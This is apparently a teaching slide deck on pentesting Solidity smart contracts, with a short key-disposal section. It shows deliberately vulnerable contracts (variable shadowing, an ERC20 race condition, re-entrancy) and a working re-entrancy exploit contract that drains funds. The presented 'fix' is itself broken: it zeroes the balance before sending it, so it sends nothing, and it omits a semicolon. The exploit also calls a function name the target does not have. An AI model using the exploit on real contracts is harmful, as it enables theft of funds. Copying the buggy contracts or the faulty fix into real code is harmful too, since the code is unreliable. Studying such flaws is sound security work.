Pentesting Solidity

Aravinth Manivannan | @realaravinth

Basic Cryptography Hygiene

Key Rotation

    Key status

  1. Generated (new, not to be used yet)
  2. Active (encrypt/decrypt)
  3. Inactive (decrypt-only)
  4. Retired (key irrevocably destroyed)

Disposing keys: GNU shred

              
➜  tmp.DqwAhduJfe echo foo > top-secret
➜  tmp.DqwAhduJfe echo foo > top-secret
➜  tmp.DqwAhduJfe ls
top-secret
➜  tmp.DqwAhduJfe shred --iterations=7 -z -v top-secret
shred: top-secret: pass 1/8 (random)...
shred: top-secret: pass 2/8 (555555)...
shred: top-secret: pass 3/8 (ffffff)...
shred: top-secret: pass 4/8 (random)...
shred: top-secret: pass 5/8 (aaaaaa)...
shred: top-secret: pass 6/8 (000000)...
shred: top-secret: pass 7/8 (random)...
shred: top-secret: pass 8/8 (000000)...
              
              

Disposing keys: DBAN

DBAN tool screenshot

Disposing keys: Hammer and a nail

hard disk with red and green markings to indicate where the nail must be driven into

Pentesting Solidity

Variable Shadowing: Motivation

            #![allow(dead_code, unused_variables)]
use std::collections::HashMap;

#[derive(Default)]
struct HttpResponse {
    status: usize,
    data: Vec,
    headers: HashMap,
}

struct Json {
    data: Vec,
}

impl HttpResponse {
    fn json(&self) -> Json {
        Json {
            data: self.data.clone(),
        }
    }
}

fn request(method: &str, url: &str) -> HttpResponse {
    HttpResponse::default()
}

fn main() {
    let response: HttpResponse = request(
                                    "GET",
                                    "https://example.com"
                                 );
    let response: Json = response.json();
}
            
            
Open in Playground

Variable Shadowing: Solidity

              //⚠️ Buggy code; don't use!
contract Suicidal {
  address owner;
  function suicide() public returns (address) {
    require(owner == msg.sender);
    selfdestruct(owner);
  }
}
contract C is Suicidal {
  address owner;
  function C() {
    owner = msg.sender;
  }
}
              
              

Variable Shadowing: King of the Hill

              //⚠️ Buggy code; don't use!
contract Ownable {
    address public owner;
    function Ownable() public {owner = msg.sender;}
    modifier onlyOwner() {require(msg.sender == owner); _;
    }
}
contract CEOThrone is Ownable {
    address public owner;
    uint public largestStake;
    function Stake() public payable {
        if (msg.value > largestStake) {
            owner = msg.sender;
            largestStake = msg.value;
        }
    }
    function withdraw() public onlyOwner {
        msg.sender.transfer(this.balance);
    }
}
              
              

ERC 20 Race condition

              //⚠️ Buggy code; don't use!
contract ERC20 {
    function totalSupply() constant returns (uint totalSupply);
    function balanceOf(address _owner) constant returns (uint balance);
    function transfer(address _to, uint _value) returns (bool success);
    function transferFrom(address _from, address _to, uint _value) returns (bool success);
    function approve(address _spender, uint _value) returns (bool success);
    function allowance(address _owner, address _spender) constant returns (uint remaining);
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
}

contract RaceCondition{
    address private owner;
    uint public price;
    ERC20 token;

    function RaceCondition(uint _price, ERC20 _token)
        public{
        owner = msg.sender;
        price = _price;
        token = _token;
    }

    function buy(uint new_price) payable public {
        require(msg.value >= price);
        token.transferFrom(msg.sender, owner, price);
        price = new_price;
        owner = msg.sender;
    }

    function changePrice(uint new_price){
        require(msg.sender == owner);
        price = new_price; 
    }
}
              
            
Detailed vunlerability report

Re-entrancy: Problem

              //⚠️ Buggy code; don't use!
contract Fund {
    mapping(address => uint) shares;

    function getBalance(address u) constant returns(uint){
        return shares[u];
    }

    function addToBalance() payable{
        shares[msg.sender] += msg.value;
    }   

    function withdraw() public {
        if (payable(msg.sender).send(shares[msg.sender]))
            shares[msg.sender] = 0;
    }
}
              
            

Re-entrancy: Exploit

              
contract ReentranceExploit {
  bool public attackModeIsOn=false; 
    address public vulnerable_contract;
    address public owner;

    function ReentranceExploit() public{
        owner = msg.sender;
    }

    function deposit(address _vulnerable_contract) public payable{
        vulnerable_contract = _vulnerable_contract ;
        require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));
    }

    function launch_attack() public{
        attackModeIsOn = true;
        require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
    }  

    function () public payable{
        if (attackModeIsOn){
            attackModeIsOn = false;
                require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));
        }
    }

    function get_money(){
        suicide(owner);
    }

}
              
            

Re-entrancy: Fix

              
contract Fund {
    mapping(address => uint) shares;

    function getBalance(address u) constant returns(uint){
        return shares[u];
    }

    function addToBalance() payable{
        shares[msg.sender] += msg.value;
    }   

    function withdraw() public {
        shares[msg.sender] = 0;
        payable(msg.sender).send(shares[msg.sender])
    }
}
              
            

References

  1. All solidity source code snippets are obtained from crytic/not-so-smart-contracts. Copy rights belong to its authors.
  2. approve/transferFrom race codition vunlerability report